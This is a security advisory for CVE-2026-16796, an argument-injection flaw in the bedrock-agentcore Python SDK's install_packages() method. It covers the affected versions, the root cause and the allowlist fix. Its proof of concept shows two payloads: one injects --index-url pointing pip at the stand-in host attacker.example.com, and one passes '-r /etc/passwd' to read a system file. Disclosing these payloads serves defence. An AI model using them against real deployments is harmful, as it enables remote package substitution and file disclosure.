high · 7.3CVE-2026-16796Jul 24, 2026

CVE-2026-16796: bedrock-agentcore Argument Injection in install_packages()

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A flaw in the AWS Bedrock AgentCore Python SDK lets a user slip pip flags into a crafted package name, redirecting package installs to an attacker-controlled server or reading arbitrary files inside…

Packagebedrock-agentcore
Ecosystempip
Affected< 1.18.1
Fixed in1.18.1
CVE-2026-16796: bedrock-agentcore Argument Injection in install_packages()

The problem

The install_packages() method in the Code Interpreter client builds a pip install shell command by joining caller-supplied package names. It applied an incomplete blocklist to strip dangerous input.

A crafted package specifier that embeds pip flags (e.g. --index-url, -r) inside a PEP 508 extras group passes the incomplete validation unchanged. Those flags are then passed verbatim to pip, giving the caller partial control over how and from where packages are resolved.

Proof of concept

A working proof-of-concept for CVE-2026-16796 in bedrock-agentcore, with the exact payload below.

python
# Redirect pip to an attacker-controlled index
client.install_packages(["requests[security] --index-url http://attacker.example.com/simple/"])

# Read an arbitrary sandbox file by passing it as a requirements file
client.install_packages(["-r /etc/passwd"])

The root cause (CWE-88) is that package names were not validated against strict PyPI/PEP 508 naming rules before being concatenated into a shell command. The incomplete blocklist caught some dangerous tokens but missed flag injection through extras-group syntax and bare flag strings.

The 1.18.1 patch replaced the blocklist approach with an allowlist: each element must match strict PyPI package name rules, and any extras group must contain only comma-separated alphanumeric identifiers. Anything that does not match is rejected before the pip command is constructed.

The advisory workaround confirms this: "validate them against strict PyPI naming rules -- including constraining any extras group to comma-separated identifiers."

The fix

Upgrade bedrock-agentcore to version **1.18.1** or later (pip install --upgrade bedrock-agentcore). If you cannot upgrade immediately, do not pass untrusted or model-generated input to install_packages(). Validate all package names against strict PyPI naming rules and restrict extras groups to comma-separated plain identifiers before calling the SDK.

Reported by Sergio Garcia (@MrCloudSec).

References: [1][2][3][4][5][6]

Related research